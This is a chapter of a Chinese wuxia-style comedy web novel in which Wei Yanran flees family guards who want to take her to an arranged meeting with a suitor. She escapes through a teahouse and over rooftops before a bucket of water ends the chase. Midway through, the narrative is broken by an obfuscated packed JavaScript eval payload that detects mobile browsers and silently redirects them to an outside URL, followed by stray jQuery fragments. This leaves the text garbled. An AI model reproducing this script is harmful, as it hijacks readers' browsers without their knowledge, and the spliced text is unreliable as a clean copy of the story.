1. 第一章 卫四 暮春四月。

作品:《今天拆散太子夫妻了吗?

    暮春四月。


    京城,四时茶楼。


    这间茶楼的历史不长,是普通的两层的楼房布局,楼下大厅布置散座,正中即是一方戏台。楼上围着戏台分隔出小室,廊庑环绕,隔了几间雅座。


    此时戏台上正唱得兴起,突然一个身着青色襌衣的清俊“公子”跑了进来,引起了一部分观众的躁动。


    她气喘微微地跑进一楼的大厅。恰逢此时台上的戏子正好唱到了高潮,她甚至来不及用袖子擦汗,就大喝一声:“好!”然后率先丢了二两银子到台上。


    惹得其他人也跟着大喝:“好!”纷纷丢钱打赏。


    跟着台上的锣鼓喧嚣,场子就这么热闹了起来。


    见场子热闹了,卫燕然也稍稍松了口气,在大厅随意找了个位置坐了下来。


    待台上咿咿呀呀的唱完了今日的戏份,时间已经一点一点地走到了日跌时分。


    有一小侍走上前来,在卫燕然耳边恭敬地低语道:“卫四公子,郎君唤您呢!”


    “嗯,告诉他,我就来。”卫燕然开口应道。


    那小侍也就识趣地退下了。


    卫燕然慢慢地喝完了最后一口茶,然后缓缓站起身,掸了掸衣袖,抬步就要往后台走。


    突然,一个身穿深蓝长袍的少年跑了进来,大喊:“燕然姐,快跑!你家里派人来抓你回去相亲了!”


    卫燕然一惊,还没来得及做什么反应,就见几个眼熟的侍卫跟在那蓝衣少年身后,进了茶坊。


    其中一人道:“我就说,跟着王家这小子一定能找到卫四吧?”


    另一人颔首,转向众人宣布道:“卫国公府悬赏,能抓到卫四的,得赏银十两。能传递有效消息的,得赏银五两。期间伤药全包。”


    随着为首侍卫的那一声宣布,众人的目光游移到了那抬步欲走的卫燕然身上。


    迎着众人的目光,她露出一个勉强的笑容,向众人打了个招呼:“今日来得这么早啊……”


    不待她说完,其他人飞扑而上。那为首的侍卫也一声令下道:“上!”


    面对众人的围捕,卫燕然反倒格外冷静。


    只见她脚下一闪,便避开了离她最近的那两位女子的手,随后一脚踹在那飞扑而来的壮汉胸前,将那壮汉踹飞出去,接连撞倒了赶来的好几人。


    然后她回身一躲,举起旁边的桌子往前一抬,正好挡住飞奔而来的两位侍卫。三人角力,她用力把桌子摔了出去,借着摔桌子的冲力,躬身飞快逃出了包围圈。几个闪身,茶楼里就不见了她的踪影。


    其余众人也没闲着。就像一滴水滴入热油之中,整个茶楼里里外外都沸腾了起来,大家纷纷奔走相告:“又抓卫四了!这次悬赏纹银十两!”


    有相熟的茶客惊奇道:“怎么又涨了?那这次我也去!”


    旁边有位老神在在的茶客,吹一口浮沫,见怪不怪品茶道:“别想了。卫四的母亲可是江榆,那个我朝第一女将军。连卫老将军都不是卫四的对手,你们就更别提了。”


    “……”


    两位茶客谈笑间,没有注意旁边有人裹着茶桌上的灰布,悄无声息地经过了他们。


    二楼雅座有一人头戴幕笠,悠哉地站在廊庑上看戏。他注意到了那鬼鬼祟祟的身影,指着对方朗声道:“快看,卫四在那呢!”


    卫燕然身形一僵,抬头指着那人咬牙切齿道:“我与兄台无冤无仇,兄台何故害我!”


    那人回之以一声轻笑。


    不待她继续放狠话,周围众人纷纷朝她涌来——她无暇顾及那人了。


    于是她转身站上茶桌,脚尖轻点向上一跃,抓住楼上的栏杆,正好避开朝她涌来的无数双手,一个翻身,就上了二楼。


    站在楼上看戏的那人对她的突然出现毫不意外,甚至提前让开了路供她翻越,就像知道她会这么做一样。


    只是不待他有所反应,就被卫四卡着脖子压倒在地。


    撞击中那人的幕笠掉落,发冠松动,一头乌黑亮丽的长发披散下来。一双微微瞪大的莹润如玉的含情目,就这么被遮掩在了散落的长发中。


    虽是惊鸿一瞥,但足以窥见其容貌之昳丽,世间少有。


    卫燕然眉头一皱,桎梏着对方的手一松,道:“女子?”


    不待身下那人回应,追兵们已经赶来。于是卫四一手拉起那人,一手捡起掉落的幕笠,一拉一推,便将人摔在雅间的的门扉上。


    然后那人脸上盖着卫燕然丢过来的幕笠,正好避开了蜂拥而来的人流。


    而卫燕然自己则仗着轻功,几个跳跃就消失在了茶楼之中。


    “她往外面跑了,快追!”


    ……


    茶楼后台。


    卫燕然微微喘着气,姿态不雅地瘫坐在座椅上。


    先前在台前唱旦角的郎君此时已经卸了妆,素着一张清秀的脸为她斟茶。


    他名为陈渊,是茶楼的老板,也是戏班子的名角儿。


    卫燕然接过陈渊的茶。只见那茶汤澄黄清亮,微微散着热气,凑近细闻,热气中还飘着几缕似有若无的茉莉香。


    她忍不住深嗅一息,随即一口牛饮,然后不出意外地被呛得咳嗽连连。


    陈渊嗔怪道:“慢点喝。”


    “慢不了一点。”卫燕然一边咳嗽,一边连连摆手,“刚跑了那么多路,热死我了。”


    陈渊疑惑道:“说起来,你又不是打不过他们,何必跑来这里躲?”


    卫燕然放下茶杯,找了扇子拿出来一展,吊儿郎当道:“大家都不容易,何苦让他们因为一点儿小事受伤呢?跑一跑、躲一躲也没什么,就当热身了。”


    陈渊放下手里的茶壶,轻哼一声,道:“这能怪得了谁呢?还不是因为有人今天非要翘了相亲,赶来看戏。”


    他一边说着话,一边悄悄拿眼瞧她:“我听说,这次和你相亲的,可是户部尚书家的三郎,年纪轻轻就中了进士呢……”


    卫燕然却不屑道:“嗐,就一道貌岸然的伪君子,长得丑不说,胆子还小。”


    陈渊被她勾起了好奇心,赶紧给她又斟了一杯茶,道:“这又怎么说?”


    卫燕然很是受用陈渊的殷勤,换了只手拿扇,端起杯子喝了一口,道:“前段时间,他逛青楼时看中一清倌,便养起了外室。”


    “可后面一被人发现,就不敢承认,最后竟又把人送回青楼了。”


    说着,她冷笑一声,道:“小人一个。”


    陈渊又问:“那你又是从何得知的?”


    卫燕然便顺口答道:“自然上次去的时候无意间撞见的……”


    陈渊默了几息,冷哼了一声,道:“又是去见明月奴。”


    说着便扭过身去,不看她了。


    卫燕然扇子一停,赔笑着哄道:“那就一小孩儿,别跟他一般见识。”


    陈渊知道这厮最擅长嘴上跑花,十分话最多只能信上三分,于是抿着嘴不说话。


    卫燕然只好又哄道:“我就是看他怪有天分的,琴弹得不错。”


    她又赔笑着说了几句好话,陈渊才勉强愿意搭理她,道:“那现下后门已经被你家里派人守住了,没有别的去处,你怎么办?”


    卫燕然不以为然地轻笑一声,道:“这有何难?没有路,我便再走一条路出来。”


    ……


    卫燕然费力地钻过院墙的狗洞,来到人烟稀少的街上。


    陈渊在墙角后无语至极,嘴角抽搐地问道:“你的路就是去钻狗洞?”


    卫燕然拍了拍身上的土,潇洒地把扇子一展,道:“成大事者不拘小节嘛。回见!”


    说着,她一展扇子,步履拖沓地就要离开这座茶楼。


    “嗖——”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303284|167184||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一只绳镖破空而来,眼见就要打在卫燕然身上了,她摇着扇子轻轻一打,那镖便改了方向,扎进了墙面。


    卫燕然看到熟悉的武器,不敢停留,拔腿就跑。


    “想跑?没那么容易!”


    卫燕然边跑边喊道:“老吴!你上次去赌场输的钱还是我帮你赢回来的,现在不过区区十两银子,你就要卖我?”


    那被叫做“老吴”的人“嘿嘿”一笑,道:“一码事归一码事。大夫人吩咐,由不得你。”


    于是两人一人在前跑,一人在后追。


    卫燕然一咬牙,助跑上墙,跳到民宅的屋檐上。刚上去,只觉脚下一滑,整个人失去平衡就要往下掉,还好她眼疾手快,用手擎住檐角。


    她定睛一看,那害她差点滑下去的瓦片上油光瓦亮的。


    卫燕然咬牙:“靠!你个老东西居然玩阴的?!”


    老吴见她吃瘪,哈哈一笑,加快了速度,道:“你这小兔崽子的逃跑可是我教的,我还能不知道你想往哪里跑?”


    卫燕然腰一扭,一个翻身,就上了屋檐,她转头朝老吴做了个鬼脸,道:“那又怎样?你都这把老骨头了,难道还能抓得住我?呵。”


    说着,她继续往前跑。


    面对卫燕然的挑衅,老吴也不恼,长啸一声,就见两个看不清面孔的侍卫一人端着一筐熟烂了的柿子,突然从巷子里蹿了出来。


    这两人不远不近地跟着卫燕然,对着她和她脚下的路就是一阵攻击。


    卫燕然爱干净,对此只能暗骂一声,一边跑,一边咬牙切齿地左右横跳,来避开那两人丢过来的烂柿子。


    看着卫燕然略显狼狈的背影,老吴哈哈大笑:“这次你没办法了吧?老实跟我回去相亲吧。”


    气得卫燕然破口大骂:“你个卑鄙的糟老头子。你给我等着!”


    老吴却笑道:“这叫兵不厌诈。跟我斗,你个小兔崽子还嫩着呢。”


    趁这个机会,他赶紧一个提速,追了上来。


    两人之间距离越来越近,越来越近。


    眼见老吴的右手就要碰到卫燕然的肩了。


    就在这千钧一发之际。


    那两侍卫丢柿子的动作停了——柿子丢完了。


    卫燕然一愣,大笑一声,拿着不知何时抽出来的折扇,手腕一抖,便打开了老吴的手。


    老吴只觉眼前一花,还没有反应过来,那扇子就打遍了他胳膊上的大穴,让他的右手动弹不得。


    卫燕然回身冲老吴笑,行了一礼,道一声:“回见。”


    转身便一个提速,轻松的甩开了老吴。


    眼前就是小巷的尽头了。


    出了这条巷子,那可就真是天高任鸟飞,海阔任鱼跃了。


    卫燕然眉梢眼角里写满了得意。


    哼,就凭这点儿人还想抓她回去,简直是痴人说……


    “嘭——”


    只听一声闷响,卫燕然撞上了一处突然打开的轩窗。


    她捂着额头,弯腰躲开那窗户,咬咬牙,正想继续向前。


    又听“哗啦——”一声。


    那窗户探出一双手,手上拿着一只木盆,木盆在往外泼水,水正正好全倒在了卫燕然身上。


    卫燕然愣在了原地,傻眼了。


    那水一寸一寸地浸湿了她的衣服,把青色的襌衣染成深绿。湿掉的衣裳厚重又黏腻地爬上她的皮肤,把她的脚牢牢地锁在了地上。


    也不知那水是用来洗什么的,一股味儿。


    她和拿盆的女子面面相觑。


    “咚”地一声闷响,那拿盆的女子手一松,盆掉在了地上。顾不得捡盆,那女子尖叫一声,“刷”一下就关上了窗。


    留下卫燕然不得不回头,看向背着手,老神在在地停在她身后的老吴。


    “那个,我现在跟你们回去,算自首吗?”